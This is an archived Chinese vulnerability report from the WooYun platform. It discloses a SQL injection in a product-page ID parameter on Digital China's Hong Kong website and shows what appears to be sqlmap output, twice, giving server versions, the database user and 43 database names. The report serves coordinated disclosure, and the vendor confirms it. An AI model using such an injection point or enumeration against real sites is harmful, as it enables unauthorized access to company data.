漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-047034
漏洞标题：神州数码主站沦陷SQL注入大量表
相关厂商：digitalchina.com
漏洞作者： Focusstart
提交时间：2013-12-26 10:38
修复时间：2014-02-09 10:38
公开时间：2014-02-09 10:38
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-26： 细节已通知厂商并且等待厂商处理中
2013-12-26： 厂商已经确认，细节仅向厂商公开
2014-01-05： 细节向核心白帽子及相关领域专家公开
2014-01-15： 细节向普通白帽子公开
2014-01-25： 细节向实习白帽子公开
2014-02-09： 细节向公众公开
简要描述：
神州数码主站繁体中文版SQL注入
详细说明：
注入点：http://www.digitalchina.com.hk/c/product_details.php?id=8084
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.4.11, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
current user: 'tomocms2@%'
current database: 'tomocms2'
[20:58:28] [INFO] fetching number of databases
[20:58:28] [INFO] resumed: 43
[20:58:28] [INFO] resumed: information_schema
[20:58:28] [INFO] resumed: aastocks_db
[20:58:28] [INFO] resumed: bboard
[20:58:28] [INFO] resumed: bboard2
[20:58:28] [INFO] resumed: bboard2_20101231
[20:58:28] [INFO] resumed: chinastarch1
[20:58:28] [INFO] resumed: cks
[20:58:28] [INFO] resumed: community
[20:58:28] [INFO] resumed: community_20101231
[20:58:28] [INFO] resumed: doubleindex
[20:58:28] [INFO] resumed: ginsengnatural
[20:58:28] [INFO] resumed: hds
[20:58:28] [INFO] resumed: hds_2009
[20:58:28] [INFO] resumed: kotocms003
[20:58:28] [INFO] resumed: kotoportal003
[20:58:28] [INFO] resumed: l_xingyecopper
[20:58:28] [INFO] resumed: mh
[20:58:28] [INFO] resumed: midea
[20:58:28] [INFO] resumed: mysql
[20:58:28] [INFO] resumed: mysql_old
[20:58:28] [INFO] resumed: new-ray
[20:58:28] [INFO] resumed: newworld
[20:58:28] [INFO] resumed: ntop
[20:58:28] [INFO] resumed: onlinereport
[20:58:28] [INFO] resumed: performance_schema
[20:58:28] [INFO] resumed: report
[20:58:28] [INFO] resumed: smart_xtep
[20:58:28] [INFO] resumed: smart_xtep_20100106
[20:58:28] [INFO] resumed: snowkiss
[20:58:28] [INFO] resumed: tdn
[20:58:28] [INFO] resumed: test
[20:58:28] [INFO] resumed: tomocms
[20:58:28] [INFO] resumed: tomocms2
[20:58:28] [INFO] resumed: tomocms2_center
[20:58:28] [INFO] resumed: tomocms2_cn
[20:58:28] [INFO] resumed: tomocms2_restore
[20:58:28] [INFO] resumed: tomocms2_sg
[20:58:28] [INFO] resumed: tomocms2_tw
[20:58:28] [INFO] resumed: tomocms2copy
[20:58:28] [INFO] resumed: view_db
[20:58:28] [INFO] resumed: web2project
[20:58:28] [INFO] resumed: wordpress
[20:58:28] [INFO] resumed: xinhuapinmei
表很多，主站沦陷的节奏~就未深入了。。
漏洞证明：
current user: 'tomocms2@%'
current database: 'tomocms2'
[20:58:28] [INFO] fetching number of databases
[20:58:28] [INFO] resumed: 43
[20:58:28] [INFO] resumed: information_schema
[20:58:28] [INFO] resumed: aastocks_db
[20:58:28] [INFO] resumed: bboard
[20:58:28] [INFO] resumed: bboard2
[20:58:28] [INFO] resumed: bboard2_20101231
[20:58:28] [INFO] resumed: chinastarch1
[20:58:28] [INFO] resumed: cks
[20:58:28] [INFO] resumed: community
[20:58:28] [INFO] resumed: community_20101231
[20:58:28] [INFO] resumed: doubleindex
[20:58:28] [INFO] resumed: ginsengnatural
[20:58:28] [INFO] resumed: hds
[20:58:28] [INFO] resumed: hds_2009
[20:58:28] [INFO] resumed: kotocms003
[20:58:28] [INFO] resumed: kotoportal003
[20:58:28] [INFO] resumed: l_xingyecopper
[20:58:28] [INFO] resumed: mh
[20:58:28] [INFO] resumed: midea
[20:58:28] [INFO] resumed: mysql
[20:58:28] [INFO] resumed: mysql_old
[20:58:28] [INFO] resumed: new-ray
[20:58:28] [INFO] resumed: newworld
[20:58:28] [INFO] resumed: ntop
[20:58:28] [INFO] resumed: onlinereport
[20:58:28] [INFO] resumed: performance_schema
[20:58:28] [INFO] resumed: report
[20:58:28] [INFO] resumed: smart_xtep
[20:58:28] [INFO] resumed: smart_xtep_20100106
[20:58:28] [INFO] resumed: snowkiss
[20:58:28] [INFO] resumed: tdn
[20:58:28] [INFO] resumed: test
[20:58:28] [INFO] resumed: tomocms
[20:58:28] [INFO] resumed: tomocms2
[20:58:28] [INFO] resumed: tomocms2_center
[20:58:28] [INFO] resumed: tomocms2_cn
[20:58:28] [INFO] resumed: tomocms2_restore
[20:58:28] [INFO] resumed: tomocms2_sg
[20:58:28] [INFO] resumed: tomocms2_tw
[20:58:28] [INFO] resumed: tomocms2copy
[20:58:28] [INFO] resumed: view_db
[20:58:28] [INFO] resumed: web2project
[20:58:28] [INFO] resumed: wordpress
[20:58:28] [INFO] resumed: xinhuapinmei
表很多，主站沦陷的节奏~就未深入了。。
修复方案：
NULL
版权声明：转载请注明来源 Focusstart@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2013-12-26 11:20
厂商回复：
我们会尽快修复，谢谢！
最新状态：
暂无